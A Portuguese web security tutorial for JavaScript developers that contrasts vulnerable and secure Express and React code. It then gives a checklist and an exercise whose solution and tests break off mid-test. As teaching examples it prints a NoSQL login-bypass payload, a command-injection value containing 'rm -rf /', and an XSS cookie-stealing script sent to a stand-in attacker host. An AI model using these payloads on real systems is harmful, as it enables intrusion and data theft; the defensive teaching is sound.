Segurança não é um recurso que você adiciona ao final do projeto — é uma camada que permeia cada decisão de desenvolvimento. Uma aplicação insegura pode expor dados pessoais de usuários, permitir que atacantes assumam contas, ou destruir anos de trabalho em minutos.
A boa notícia é que a maioria dos ataques explora vulnerabilidades bem conhecidas e documentadas. Entender como esses ataques funcionam é o primeiro passo para se defender deles. A OWASP (Open Web Application Security Project) mantém uma lista atualizada das dez vulnerabilidades mais críticas em aplicações web — este artigo cobre as mais relevantes para desenvolvedores JavaScript.
1. Injeção — SQL, NoSQL e Command Injection
Ataques de injeção acontecem quando dados fornecidos pelo usuário são interpretados como comandos pelo sistema. É a vulnerabilidade mais antiga e ainda devastadoramente comum.
O princípio do ataque é sempre o mesmo: o atacante insere caracteres especiais em um campo de formulário ou parâmetro de URL que alteram a lógica de uma consulta ou comando.
// ── INJEÇÃO EM MONGODB (NoSQL Injection) ───────────
// O Mongoose protege automaticamente contra a maioria dos casos,
// mas é importante entender o que pode acontecer sem proteção.
// ❌ VULNERÁVEL — confia cegamente nos dados recebidos
app.post('/login', async (req, res) => {
const { email, senha } = req.body;
// Se o atacante enviar: { "email": { "$gt": "" }, "senha": { "$gt": "" } }
// O MongoDB interpreta { "$gt": "" } como "maior que string vazia"
// isso retorna QUALQUER usuário do banco — autenticação bypassada!
const usuario = await Usuario.findOne({ email, senha });
if (usuario) res.json({ token: gerarToken(usuario) });
});
// ✅ SEGURO — valida tipos antes de usar
app.post('/login', async (req, res) => {
const { email, senha } = req.body;
// Verifica que os valores são strings — operadores MongoDB são objetos
if (typeof email !== 'string' || typeof senha !== 'string') {
return res.status(400).json({ erro: 'Formato de dados inválido.' });
}
// Sanitiza removendo caracteres que não pertencem a um email
const emailLimpo = email.trim().toLowerCase();
// Nunca compara senha em texto puro no banco — usa bcrypt
const usuario = await Usuario.findOne({ email: emailLimpo }).select('+senha');
if (!usuario) return res.status(401).json({ erro: 'Credenciais inválidas.' });
const senhaCorreta = await bcrypt.compare(senha, usuario.senha);
if (!senhaCorreta) return res.status(401).json({ erro: 'Credenciais inválidas.' });
res.json({ token: gerarToken(usuario._id) });
});
// ── COMMAND INJECTION ───────────────────────────────
// Nunca execute comandos do sistema com dados do usuário
// ❌ CATASTRÓFICO — permite executar qualquer comando no servidor
const { exec } = require('child_process');
app.get('/ping', (req, res) => {
const host = req.query.host;
// Atacante envia: host=google.com; rm -rf /
// O servidor executa: ping google.com; rm -rf /
exec(`ping -c 1 ${host}`, (erro, stdout) => res.send(stdout));
});
// ✅ SEGURO — valida estritamente o input antes de qualquer operação
app.get('/ping', (req, res) => {
const host = req.query.host;
// Permite apenas caracteres válidos em hostnames
// Rejeita qualquer tentativa de injetar comandos
const hostValido = /^[a-zA-Z0-9.-]{1,253}$/.test(host);
if (!hostValido) {
return res.status(400).json({ erro: 'Host inválido.' });
}
// Passa o argumento como array — não como string concatenada
// Isso impede interpretação de caracteres especiais do shell
const { execFile } = require('child_process');
execFile('ping', ['-c', '1', host], (erro, stdout) => {
if (erro) return res.status(500).json({ erro: 'Falha no ping.' });
res.send(stdout);
});
});
Regra de ouro contra injeção: trate todo dado externo como não confiável. Valide tipos, use parâmetros em vez de concatenação de strings, e nunca construa comandos com dados do usuário.
2. Cross-Site Scripting (XSS)
XSS acontece quando um atacante consegue inserir JavaScript malicioso em uma página que será executado no navegador de outras pessoas. É a vulnerabilidade mais comum em aplicações web.
Imagine um campo de comentários onde o atacante digita <script>fetch("https://servidor-do-atacante.com?c="+document.cookie)</script>. Se o site exibir esse comentário sem sanitizar, o script roda no navegador de todos que abrirem a página, e o que ele faz é escolha de quem atacou: enviar os cookies de sessão, ler o que estiver no localStorage, registrar o que for digitado ou disparar requisições em nome da vítima — tudo com a identidade dela, porque o código executa dentro do seu domínio.
// ── XSS NO BACK-END ─────────────────────────────────
// ❌ VULNERÁVEL — retorna HTML sem sanitizar dados do banco
app.get('/perfil/:id', async (req, res) => {
const usuario = await Usuario.findById(req.params.id);
// Se usuario.bio contiver <script>..., será executado no navegador
res.send(`<div class="bio">${usuario.bio}</div>`);
});
// ✅ SEGURO — use um sanitizador de HTML ou evite HTML dinâmico
// npm install dompurify jsdom
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
app.get('/perfil/:id', async (req, res) => {
const usuario = await Usuario.findById(req.params.id);
// Remove tags e atributos perigosos, mantém HTML formatado legítimo
const bioSegura = DOMPurify.sanitize(usuario.bio, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
ALLOWED_ATTR: [], // nenhum atributo permitido (evita onclick, etc.)
});
res.send(`<div class="bio">${bioSegura}</div>`);
});
// ── HEADERS DE SEGURANÇA COM HELMET ─────────────────
// O Helmet configura automaticamente vários headers que protegem contra XSS
// npm install helmet
const helmet = require('helmet');
app.use(helmet());
// Content-Security-Policy: define quais scripts podem executar
// Isso é a defesa em profundidade contra XSS — mesmo se injetar script,
// o navegador bloqueia a execução se não vier de fonte aprovada
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"], // só recursos do próprio domínio
scriptSrc: ["'self'"], // sem scripts inline, sem CDNs não listados
styleSrc: ["'self'", "'unsafe-inline'"], // permite estilos inline (comum em React)
imgSrc: ["'self'", 'data:', 'https:'], // imagens do próprio domínio ou https
connectSrc: ["'self'", process.env.API_URL], // conexões apenas para a API
// Atenção: fonts.googleapis.com serve o CSS; os ARQUIVOS de fonte vêm de
// fonts.gstatic.com. Trocar os dois é o erro clássico de CSP com Google
// Fonts — a folha de estilo carrega e as fontes são bloqueadas em silêncio.
fontSrc: ["'self'", 'https://fonts.gstatic.com'],
objectSrc: ["'none'"], // bloqueia plugins (Flash, etc.)
upgradeInsecureRequests: [], // força HTTPS
},
})
);
// ── XSS NO FRONT-END REACT ──────────────────────────
// O React escapa automaticamente o conteúdo inserido via JSX — isso já é
// uma defesa poderosa. O problema aparece quando usamos dangerouslySetInnerHTML.
// ❌ PERIGOSO — executa qualquer HTML/script do banco
function Comentario({ texto }) {
// Se texto contiver <script>alert('xss')</script>, vai executar
return <div dangerouslySetInnerHTML={{ __html: texto }} />;
}
// ✅ SEGURO — sanitiza antes de renderizar HTML
// npm install dompurify
import DOMPurify from 'dompurify';
function Comentario({ texto }) {
// DOMPurify remove tags e atributos perigosos antes de renderizar
const textoSeguro = DOMPurify.sanitize(texto, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br', 'a'],
ALLOWED_ATTR: ['href', 'target', 'rel'],
});
return <div dangerouslySetInnerHTML={{ __html: textoSeguro }} />;
}
// ✅ MELHOR AINDA — evite dangerouslySetInnerHTML sempre que possível
// Se o texto é plain text, o React já escapa automaticamente:
function Comentario({ texto }) {
return <p>{texto}</p>; // '{texto}' é sempre escapado pelo React
}
3. Autenticação e Gerenciamento de Sessão
Erros de autenticação são particularmente graves porque dão ao atacante acesso total à conta do usuário. Vamos cobrir as práticas essenciais.
// ── JWT — configuração segura ────────────────────────
const jwt = require('jsonwebtoken');
// ❌ JWT inseguro — chave fraca, algoritmo padrão sem verificação
const tokenInseguro = jwt.sign({ userId: 1 }, 'senha123');
// ✅ JWT seguro — chave forte, expiração, algoritmo explícito
function gerarToken(userId) {
return jwt.sign(
{
id: userId,
// iat (issued at) é adicionado automaticamente pelo jwt.sign
},
process.env.JWT_SECRET, // mínimo 256 bits — gere com crypto.randomBytes(64)
{
expiresIn: '15m', // tokens de acesso devem ser de curta duração
algorithm: 'HS256', // sempre especifique o algoritmo explicitamente
issuer: 'api-gestao', // identifica quem emitiu o token
audience: 'app-gestao', // identifica para quem o token é destinado
}
);
}
// Token de refresh — vida longa, armazenado com mais segurança
function gerarRefreshToken(userId) {
return jwt.sign(
{ id: userId, tipo: 'refresh' },
process.env.JWT_REFRESH_SECRET, // chave diferente do access token
{ expiresIn: '7d' }
);
}
// Verificação robusta do token
function verificarToken(token) {
try {
return jwt.verify(token, process.env.JWT_SECRET, {
algorithms: ['HS256'], // rejeita tokens com algoritmo diferente
issuer: 'api-gestao',
audience: 'app-gestao',
});
} catch (erro) {
if (erro.name === 'TokenExpiredError') {
throw new Error('Token expirado. Faça login novamente.');
}
if (erro.name === 'JsonWebTokenError') {
throw new Error('Token inválido.');
}
throw erro;
}
}
// ── SENHAS — armazenamento seguro ────────────────────
const bcrypt = require('bcrypt');
// ❌ NUNCA armazene senhas em texto puro ou com hash fraco (MD5, SHA1)
const senhaInsegura = md5(senha); // MD5 é completamente quebrável
// ✅ Use bcrypt com fator de custo adequado
// Fator 12 é o padrão atual — leva ~250ms por hash (dificulta força bruta)
// Aumente conforme o hardware melhorar: 13 ou 14 em servidores modernos
async function hashSenha(senhaTexto) {
const saltRounds = 12;
return bcrypt.hash(senhaTexto, saltRounds);
}
async function verificarSenha(senhaTexto, senhaHash) {
return bcrypt.compare(senhaTexto, senhaHash);
}
// ── PROTEÇÃO CONTRA TIMING ATTACKS ──────────────────
// Nunca retorne erros diferentes para "usuário não existe" vs "senha errada"
// Isso permite que atacantes descubram quais emails estão cadastrados
// ❌ Vaza informação sobre usuários existentes
app.post('/login', async (req, res) => {
const usuario = await Usuario.findOne({ email: req.body.email });
if (!usuario) return res.status(401).json({ erro: 'Usuário não encontrado.' }); // ❌
const ok = await bcrypt.compare(req.body.senha, usuario.senha);
if (!ok) return res.status(401).json({ erro: 'Senha incorreta.' }); // ❌
});
// ✅ Mesma mensagem para ambos os casos
app.post('/login', async (req, res) => {
const usuario = await Usuario.findOne({ email: req.body.email }).select('+senha');
// Faz o compare mesmo se o usuário não existir
// Isso garante tempo de resposta constante — evita timing attacks
const senhaFalsa = '$2b$12$invalidhashforcomparison.....'; // hash inválido
const senhaHash = usuario?.senha || senhaFalsa;
const senhaCorreta = await bcrypt.compare(req.body.senha, senhaHash);
if (!usuario || !senhaCorreta) {
return res.status(401).json({ erro: 'Credenciais inválidas.' }); // ✅ mesma msg
}
res.json({ token: gerarToken(usuario._id) });
});
4. Rate Limiting — proteção contra força bruta
Rate limiting limita quantas requisições um mesmo IP pode fazer em um período. Sem isso, um atacante pode tentar milhões de combinações de senha por hora.
// npm install express-rate-limit
const rateLimit = require('express-rate-limit');
// Limite global — aplica a toda a API
// 100 requisições por 15 minutos por IP
const limiteGeral = rateLimit({
windowMs: 15 * 60 * 1000, // janela de 15 minutos
max: 100, // máximo de requisições por janela
standardHeaders: true, // inclui headers RateLimit-* na resposta
legacyHeaders: false, // não inclui headers X-RateLimit-* deprecados
message: {
erro: 'Muitas requisições. Tente novamente em 15 minutos.',
status: 429,
},
});
// Limite específico para autenticação — muito mais restritivo
// 5 tentativas de login por 15 minutos por IP
const limiteAuth = rateLimit({
windowMs: 15 * 60 * 1000,
max: 5,
skipSuccessfulRequests: true, // logins bem-sucedidos não contam no limite
message: {
erro: 'Muitas tentativas de login. Tente novamente em 15 minutos.',
status: 429,
},
});
// Aplicando os limitadores
app.use(limiteGeral); // toda a API
app.use('/auth/login', limiteAuth); // apenas login
app.use('/auth/registrar', limiteAuth); // e registro
app.use('/auth/esqueci-senha', limiteAuth); // e recuperação de senha
5. CORS — configuração correta
CORS (Cross-Origin Resource Sharing) define quais domínios podem fazer requisições para sua API. Uma configuração incorreta pode expor sua API a qualquer site na internet.
// npm install cors
const cors = require('cors');
// ❌ CORS aberto demais — qualquer site do mundo acessa sua API
app.use(cors()); // aceita qualquer origem — nunca faça isso em produção
// ✅ CORS configurado corretamente
const origensPermitidas = [
'https://meuapp.vercel.app',
'https://www.meuapp.com.br',
// Em desenvolvimento, adiciona o localhost
...(process.env.NODE_ENV === 'development' ? ['http://localhost:5173'] : []),
];
app.use(
cors({
origin: (origin, callback) => {
// Permite requisições sem origin (ex: curl, Postman, apps mobile)
// Em produção você pode querer bloquear isso também
if (!origin || origensPermitidas.includes(origin)) {
callback(null, true);
} else {
callback(new Error(`Origem não permitida pelo CORS: ${origin}`));
}
},
methods: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'OPTIONS'],
allowedHeaders: ['Content-Type', 'Authorization'],
credentials: true, // permite cookies e headers de auth
maxAge: 86400, // cacheia preflight por 24 horas
})
);
6. Validação e sanitização de entrada
Toda entrada de dados deve ser validada no servidor — nunca confie na validação do front-end. O front-end pode ser bypassado facilmente com ferramentas como o Postman.
// npm install zod
const { z } = require('zod');
// Define o schema com todas as regras de validação
const schemaCriarUsuario = z.object({
nome: z
.string({ required_error: 'Nome é obrigatório.' })
.min(2, 'Nome deve ter pelo menos 2 caracteres.')
.max(100, 'Nome não pode exceder 100 caracteres.')
.trim(),
email: z
.string({ required_error: 'Email é obrigatório.' })
.email('Email inválido.')
.toLowerCase()
.trim(),
senha: z
.string({ required_error: 'Senha é obrigatória.' })
.min(8, 'Senha deve ter pelo menos 8 caracteres.')
// Exige pelo menos uma letra maiúscula, um número e um caractere especial
.regex(
/^(?=.*[A-Z])(?=.*\d)(?=.*[@$!%*?&])/,
'Senha deve conter maiúscula, número e caractere especial.'
),
idade: z
.number()
.int('Idade deve ser um número inteiro.')
.min(0, 'Idade inválida.')
.max(150, 'Idade inválida.')
.optional(),
});
// Middleware de validação reutilizável
// Recebe um schema Zod e retorna um middleware do Express
function validar(schema) {
return (req, res, next) => {
try {
// parse() lança erro se os dados não passarem na validação
// Também transforma os dados (trim, toLowerCase, etc.)
req.body = schema.parse(req.body);
next();
} catch (erro) {
if (erro instanceof z.ZodError) {
// Formata os erros de forma legível
const detalhes = erro.errors.map((e) => `${e.path.join('.')}: ${e.message}`);
return res.status(422).json({
erro: 'Dados inválidos.',
detalhes,
});
}
next(erro);
}
};
}
// Usando nas rotas
app.post('/auth/registrar', validar(schemaCriarUsuario), async (req, res) => {
// req.body agora tem tipos corretos e dados sanitizados
const { nome, email, senha } = req.body;
// ...
});
7. Proteção de rotas sensíveis e dados
Algumas proteções simples que fazem grande diferença no dia a dia.
// ── NUNCA EXPONHA DADOS SENSÍVEIS ────────────────────
// ❌ Retorna a senha (mesmo que em hash) e dados internos
app.get('/usuarios/:id', async (req, res) => {
const usuario = await Usuario.findById(req.params.id);
res.json(usuario); // inclui senha, __v, datas internas, etc.
});
// ✅ Seleciona apenas os campos necessários
app.get('/usuarios/:id', autenticar, async (req, res) => {
const usuario = await Usuario.findById(
req.params.id,
// Projeção — retorna apenas estes campos
'nome email papel criadoEm'
// Senha nunca é retornada (select: false no schema + não listada aqui)
);
res.json(usuario);
});
// ── GARANTA QUE USUÁRIOS SÓ ACESSAM SEUS PRÓPRIOS DADOS ──
// ❌ Qualquer usuário logado pode ver/editar tarefas de qualquer outro
app.get('/tarefas/:id', autenticar, async (req, res) => {
const tarefa = await Tarefa.findById(req.params.id);
res.json(tarefa);
});
// ✅ Filtra sempre pelo usuário autenticado
app.get('/tarefas/:id', autenticar, async (req, res) => {
const tarefa = await Tarefa.findOne({
_id: req.params.id,
usuario: req.usuario._id, // garante que é dono da tarefa
});
if (!tarefa) {
// Retorna 404 (não 403) — não confirmamos que o recurso existe
return res.status(404).json({ erro: 'Tarefa não encontrada.' });
}
res.json(tarefa);
});
// ── VARIÁVEIS DE AMBIENTE NUNCA EXPOSTAS ─────────────
// ❌ Expõe configurações do servidor
app.get('/debug', (req, res) => {
res.json(process.env); // expõe JWT_SECRET, MONGODB_URL, etc.
});
// ✅ Health check expõe apenas o necessário
app.get('/health', (req, res) => {
res.json({
status: 'ok',
ambiente: process.env.NODE_ENV,
uptime: Math.floor(process.uptime()) + 's',
// Nunca inclua process.env aqui
});
});
8. Headers de segurança com Helmet
O Helmet configura uma série de headers HTTP que protegem contra diferentes tipos de ataque. É uma das adições mais simples e eficazes que você pode fazer.
const helmet = require('helmet');
// Aplica todos os headers de segurança padrão
app.use(helmet());
// Os headers que o Helmet configura e o que cada um faz:
//
// Content-Security-Policy
// → Define quais recursos (scripts, estilos, imagens) podem ser carregados
// → Principal defesa contra XSS
//
// X-Content-Type-Options: nosniff
// → Impede que o navegador "adivinhe" o tipo de conteúdo
// → Evita que um script disfarçado de imagem execute
//
// X-Frame-Options: SAMEORIGIN
// → Impede que sua página seja carregada em um iframe de outro domínio
// → Protege contra clickjacking
//
// Strict-Transport-Security (HSTS)
// → Força HTTPS — o navegador nunca usará HTTP novamente para este domínio
// → Protege contra downgrade attacks
//
// X-XSS-Protection
// → Ativa o filtro XSS nativo de browsers mais antigos
//
// Referrer-Policy: no-referrer
// → Controla quanta informação de URL é enviada em requisições cross-origin
9. Proteção contra CSRF
CSRF (Cross-Site Request Forgery) faz com que um usuário autenticado execute ações indesejadas sem saber. Como usamos JWT em headers, e não em cookies, estamos naturalmente protegidos — o navegador anexa cookies sozinho a toda requisição para o domínio, mas nunca inventa um cabeçalho Authorization.
Isso não é ganho de graça, é uma troca. Para mandar o token no cabeçalho, o JavaScript precisa lê-lo — e o lugar usual é o localStorage, que é acessível a qualquer script da página. Um único XSS bem-sucedido rouba o token inteiro. Já um cookie httpOnly é invisível ao JavaScript, e nem o próprio XSS o extrai — em compensação, volta a exigir defesa contra CSRF. Em resumo: token no cabeçalho troca risco de CSRF por risco de XSS. O desenho mais seguro hoje combina os dois mundos: cookie httpOnly com SameSite, mais um token curto de acesso, o que exige cuidar de CSRF mas sobrevive a um XSS. Escolher sabendo do custo é o que importa; achar que uma das opções é gratuita, não.
// Com JWT em Authorization header: imune a CSRF por design
// O atacante não consegue definir headers customizados em requisições cross-origin
// Se você usar cookies para armazenar o JWT, precisa de proteção CSRF:
// O pacote csurf foi DESCONTINUADO e arquivado em 2022 — não use.
// Hoje as opções são o csrf-csrf, mantido, ou implementar o padrão
// Double Submit Cookie à mão, que é simples: um token aleatório vai num
// cookie legível e o mesmo valor é enviado num header; o servidor compara.
// Configurando cookies de forma segura (se necessário)
res.cookie('token', jwtToken, {
httpOnly: true, // inacessível via JavaScript (protege contra XSS)
secure: true, // apenas HTTPS
sameSite: 'strict', // não envia em requisições cross-origin (protege contra CSRF)
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 dias em milissegundos
});
10. Dependências seguras
Uma aplicação Node.js típica tem centenas de dependências. Qualquer uma delas pode ter uma vulnerabilidade conhecida.
# Verificar vulnerabilidades nas dependências
npm audit
# Saída típica:
# found 3 vulnerabilities (1 low, 1 moderate, 1 high)
# run `npm audit fix` to fix them
# Corrigir automaticamente (quando possível)
npm audit fix
# Para atualizações que quebram a API (major versions):
npm audit fix --force # use com cuidado — pode quebrar o projeto
# Verificar dependências desatualizadas
npm outdated
# Atualizar uma dependência específica
npm update express
# Remover dependências não usadas
npx depcheck
// package.json — configurando auditoria no CI/CD
{
"scripts": {
"audit": "npm audit --audit-level=high",
"quality": "npm run format:check && npm run lint && npm run audit && npm test"
}
}
# .github/workflows/seguranca.yml
# Roda semanalmente para verificar novas vulnerabilidades
name: Auditoria de Segurança
on:
schedule:
# Todo domingo às 9h
- cron: '0 9 * * 0'
push:
branches: [main]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: '20'
cache: 'npm'
- run: npm ci
# Falha se houver vulnerabilidades de severidade alta ou crítica
- run: npm audit --audit-level=high
Checklist de segurança
Assim como o checklist de deploy, este deve ser revisado antes de qualquer lançamento.
Autenticação e Senhas
─────────────────────────────────────────────────────────
[ ] Senhas armazenadas com bcrypt (fator >= 12)
[ ] JWT com chave forte (>= 256 bits), expiração curta
[ ] Rate limiting em /login, /registrar, /esqueci-senha
[ ] Mesma mensagem de erro para "usuário não existe" e "senha errada"
[ ] Tokens de refresh com chave separada e revogação implementada
Dados e Validação
─────────────────────────────────────────────────────────
[ ] Toda entrada validada no servidor (não só no front-end)
[ ] Tipos verificados antes de queries ao banco
[ ] Usuários só acessam seus próprios dados
[ ] Campos sensíveis com select: false no schema
[ ] Resposta nunca inclui senha, tokens ou dados internos
Headers e Transporte
─────────────────────────────────────────────────────────
[ ] Helmet instalado e configurado
[ ] CORS restrito às origens conhecidas
[ ] HTTPS em produção (Vercel e Railway fazem isso automaticamente)
[ ] Cookies com httpOnly, secure, sameSite se utilizados
Infraestrutura
─────────────────────────────────────────────────────────
[ ] Variáveis de ambiente em .gitignore
[ ] .env.example documentado para o time
[ ] npm audit sem vulnerabilidades altas ou críticas
[ ] Dependências atualizadas regularmente
[ ] Logs não expõem dados sensíveis (senhas, tokens, CPF)
Tarefa para você
Aplique as proteções aprendidas na API do Módulo 4:
// 1. Instale e configure o Helmet
// Verifique os headers de segurança com:
// curl -I https://sua-api.railway.app/health
// 2. Adicione rate limiting com express-rate-limit:
// - 100 req/15min para rotas gerais
// - 5 req/15min para /auth/login e /auth/registrar
// 3. Substitua todas as validações manuais por schemas Zod:
// - schemaCriarUsuario
// - schemaLogin
// - schemaCriarProduto
// - schemaAtualizarProduto
// - schemaCriarTarefa
// 4. Verifique que todas as rotas de tarefas filtram pelo req.usuario._id
// Teste com curl tentando acessar tarefa de outro usuário:
// curl -H "Authorization: Bearer TOKEN_USUARIO_A"
// https://api/tarefas/ID_DA_TAREFA_DO_USUARIO_B
// Deve retornar 404, nunca 403 (não confirmamos a existência)
// 5. Configure CORS em produção restrito apenas ao domínio do front-end
// 6. Rode npm audit e corrija todas as vulnerabilidades altas
// 7. Verifique o .gitignore — rode este comando e confirme que .env
// não aparece na lista de arquivos rastreados:
// git ls-files | grep -E ".env"
// Se aparecer, remova com: git rm --cached .env
Ver solução — as sete proteções, com os 15 testes que as provam
// ---- src/middlewares/seguranca.js
// 1, 2 e 5 — HELMET, RATE LIMITING E CORS
//
// npm install helmet express-rate-limit cors
const helmet = require("helmet");
const rateLimit = require("express-rate-limit");
const cors = require("cors");
// 1 — Helmet. Os padrões já servem; o que muda é o que a API precisa.
const cabecalhos = helmet({
// API JSON não serve HTML, então a CSP padrão do Helmet não protege nada
// aqui — mas atrapalha se você servir a documentação do Swagger na mesma
// aplicação. Deixe explícito o que está fazendo.
contentSecurityPolicy: false,
// Só faz sentido com HTTPS já no ar; em dev, o navegador guardaria o
// localhost como "sempre https" e você passaria uma tarde depurando isso.
hsts: process.env.NODE_ENV === "producao",
crossOriginResourcePolicy: { policy: "cross-origin" },
});
// 2 — Rate limiting em duas camadas.
const limiteGeral = rateLimit({
windowMs: 15 * 60 * 1000,
limit: 100,
standardHeaders: "draft-7", // RateLimit-* padronizados
legacyHeaders: false, // sem os X-RateLimit-* antigos
message: { erro: "Muitas requisições. Tente novamente em alguns minutos." },
});
const limiteAutenticacao = rateLimit({
windowMs: 15 * 60 * 1000,
limit: 5,
// Só conta o que falhou: quem acerta a senha não gasta a cota, e o
// limite passa a proteger contra força bruta sem punir o usuário legítimo.
skipSuccessfulRequests: true,
standardHeaders: "draft-7",
legacyHeaders: false,
message: { erro: "Muitas tentativas de login. Aguarde 15 minutos." },
});
// 5 — CORS restrito ao domínio do front-end em produção.
const origensPermitidas = (process.env.FRONTEND_URL || "http://localhost:5173")
.split(",")
.map((o) => o.trim());
const politicaCors = cors({
origin(origem, callback) {
// Sem Origin = curl, Postman, app móvel. Não é navegador, o CORS não
// se aplica — bloquear aqui não protege nada e quebra os healthchecks.
if (!origem) return callback(null, true);
if (origensPermitidas.includes(origem)) return callback(null, true);
callback(new Error(`Origem não permitida: ${origem}`));
},
credentials: true,
methods: ["GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"],
});
module.exports = { cabecalhos, limiteGeral, limiteAutenticacao, politicaCors };
// ---- src/validacao/schemas.js
// 3 — OS SCHEMAS ZOD
const { z } = require("zod");
const senha = z
.string()
.min(8, "Senha deve ter pelo menos 8 caracteres.")
.regex(/[a-z]/, "Senha precisa de uma letra minúscula.")
.regex(/[A-Z]/, "Senha precisa de uma letra maiúscula.")
.regex(/[0-9]/, "Senha precisa de um número.");
const schemaCriarUsuario = z.object({
nome: z.string().trim().min(2, "Nome deve ter pelo menos 2 caracteres.").max(120),
email: z.string().trim().toLowerCase().email("Email inválido."),
senha,
});
const schemaLogin = z.object({
email: z.string().trim().toLowerCase().email("Email inválido."),
// No login não se valida força de senha: a regra pode ter mudado desde o
// cadastro, e a mensagem detalhada entregaria o formato ao atacante.
senha: z.string().min(1, "Senha é obrigatória."),
});
const schemaCriarProduto = z.object({
nome: z.string().trim().min(2).max(200),
preco: z.number().positive("Preço deve ser maior que zero."),
estoque: z.number().int().nonnegative().default(0),
ativo: z.boolean().default(true),
tags: z.array(z.string().trim()).max(10).default([]),
});
// .partial() gera o schema de atualização a partir do de criação — uma
// fonte de verdade só. O .refine impede o PATCH vazio, que passaria batido.
const schemaAtualizarProduto = schemaCriarProduto
.partial()
.refine((dados) => Object.keys(dados).length > 0, {
message: "Envie pelo menos um campo para atualizar.",
});
const schemaCriarTarefa = z.object({
titulo: z.string().trim().min(1, "Título é obrigatório.").max(200),
descricao: z.string().trim().max(2000).default(""),
status: z.enum(["pendente", "em_progresso", "concluida", "cancelada"]).default("pendente"),
prioridade: z.enum(["baixa", "media", "alta"]).default("media"),
prazo: z.coerce.date().nullable().default(null),
tags: z.array(z.string()).default([]),
});
module.exports = {
schemaCriarUsuario,
schemaLogin,
schemaCriarProduto,
schemaAtualizarProduto,
schemaCriarTarefa,
};
// ---- src/middlewares/validar.js
// Fábrica de middleware: `validar(schema)` valida o corpo; `validar(schema,
// "query")` valida a query string.
function validar(schema, onde = "body") {
return (req, res, next) => {
const resultado = schema.safeParse(req[onde]);
if (!resultado.success) {
return res.status(422).json({
erro: "Dados inválidos.",
detalhes: resultado.error.issues.map((i) => ({
campo: i.path.join(".") || onde,
mensagem: i.message,
})),
});
}
// Substituir pelo valor PARSEADO é metade do ganho: vem com trim,
// lowercase, defaults aplicados e os tipos convertidos. Sem isso você
// valida uma coisa e usa outra.
req[onde] = resultado.data;
next();
};
}
module.exports = { validar };
// ---- src/app.js
// A ordem em que tudo se encaixa
const express = require("express");
const { cabecalhos, limiteGeral, limiteAutenticacao, politicaCors } = require("./middlewares/seguranca");
const { validar } = require("./middlewares/validar");
const { schemaCriarTarefa, schemaLogin } = require("./validacao/schemas");
const { naoEncontrado, tratadorDeErros } = require("./middlewares/erros");
const { autenticar } = require("./middlewares/auth");
const ctrl = require("./controllers/tarefaController");
function criarApp() {
const app = express();
// A ordem importa: cabeçalhos antes de tudo, para valerem inclusive nas
// respostas de erro; o parser de JSON com limite, senão um corpo de 200 MB
// é aceito antes de qualquer validação.
app.use(cabecalhos);
app.use(politicaCors);
app.use(express.json({ limit: "100kb" }));
app.get("/health", (req, res) =>
res.json({ status: "ok", timestamp: new Date().toISOString() })
);
// O limite estrito vem ANTES do geral nas rotas de auth.
app.post("/auth/login", limiteAutenticacao, validar(schemaLogin), (req, res) =>
res.status(401).json({ erro: "Credenciais inválidas." })
);
app.use(limiteGeral);
app.get("/tarefas", autenticar, ctrl.listar);
app.get("/tarefas/:id", autenticar, ctrl.buscarUma);
app.post("/tarefas", autenticar, validar(schemaCriarTarefa), ctrl.criar);
app.use(naoEncontrado);
app.use(tratadorDeErros);
return app;
}
module.exports = { criarApp };
// ---- testes/integracao/seguranca.test.js
// OS TESTES — 15, todos passando
const request = require("supertest");
const { criarApp } = require("../../src/appSeguro");
const Tarefa = require("../../src/models/Tarefa");
const { usuarioComToken } = require("../ajudantes");
jest.mock("../../src/servicos/notificacao", () => ({
notificarTarefaCriada: jest.fn().mockResolvedValue({ ok: true }),
}));
// Cada describe monta um app novo: o rate limit guarda contagem em memória,
// e reaproveitar o app faria um teste derrubar o outro.
describe("1 — Helmet", () => {
it("põe os cabeçalhos de segurança", async () => {
const resposta = await request(criarApp()).get("/health");
expect(resposta.headers["x-content-type-options"]).toBe("nosniff");
expect(resposta.headers["x-frame-options"]).toBe("SAMEORIGIN");
expect(resposta.headers["referrer-policy"]).toBe("no-referrer");
expect(resposta.headers["x-dns-prefetch-control"]).toBe("off");
});
it("esconde o x-powered-by do Express", async () => {
const resposta = await request(criarApp()).get("/health");
expect(resposta.headers["x-powered-by"]).toBeUndefined();
});
});
describe("2 — rate limiting", () => {
it("bloqueia a 6ª tentativa de login com 429", async () => {
const app = criarApp();
const tentar = () =>
request(app).post("/auth/login").send({ email: "a@b.com", senha: "errada" });
for (let i = 0; i < 5; i++) expect((await tentar()).status).toBe(401);
const bloqueado = await tentar();
expect(bloqueado.status).toBe(429);
expect(bloqueado.body.erro).toMatch(/tentativas/i);
});
it("expõe o cabeçalho RateLimit do draft-7 nas rotas limitadas", async () => {
const resposta = await request(criarApp()).get("/tarefas"); // 401, mas passa pelo limiter
// draft-7 manda UM cabeçalho: `RateLimit: limit=100, remaining=99, reset=900`.
// Quem espera `RateLimit-Limit` está pensando no draft-6.
expect(resposta.headers["ratelimit"]).toMatch(/limit=100/);
expect(resposta.headers["ratelimit-limit"]).toBeUndefined();
expect(resposta.headers["x-ratelimit-limit"]).toBeUndefined(); // legacy off
});
it("o /health fica FORA do limiter, de propósito", async () => {
const resposta = await request(criarApp()).get("/health");
// O monitoramento bate aqui a cada 5 minutos; a última coisa que se quer
// é o healthcheck sendo throttled e acusando queda que não houve.
expect(resposta.headers["ratelimit"]).toBeUndefined();
expect(resposta.status).toBe(200);
});
});
describe("3 — validação com Zod", () => {
it("recusa tarefa sem título com 422 e diz qual campo", async () => {
const { auth } = await usuarioComToken();
const resposta = await request(criarApp())
.post("/tarefas")
.set("Authorization", auth)
.send({ descricao: "sem titulo" });
expect(resposta.status).toBe(422);
expect(resposta.body.detalhes).toEqual(
expect.arrayContaining([expect.objectContaining({ campo: "titulo" })])
);
});
it("recusa status fora do enum", async () => {
const { auth } = await usuarioComToken();
const resposta = await request(criarApp())
.post("/tarefas")
.set("Authorization", auth)
.send({ titulo: "x", status: "inventado" });
expect(resposta.status).toBe(422);
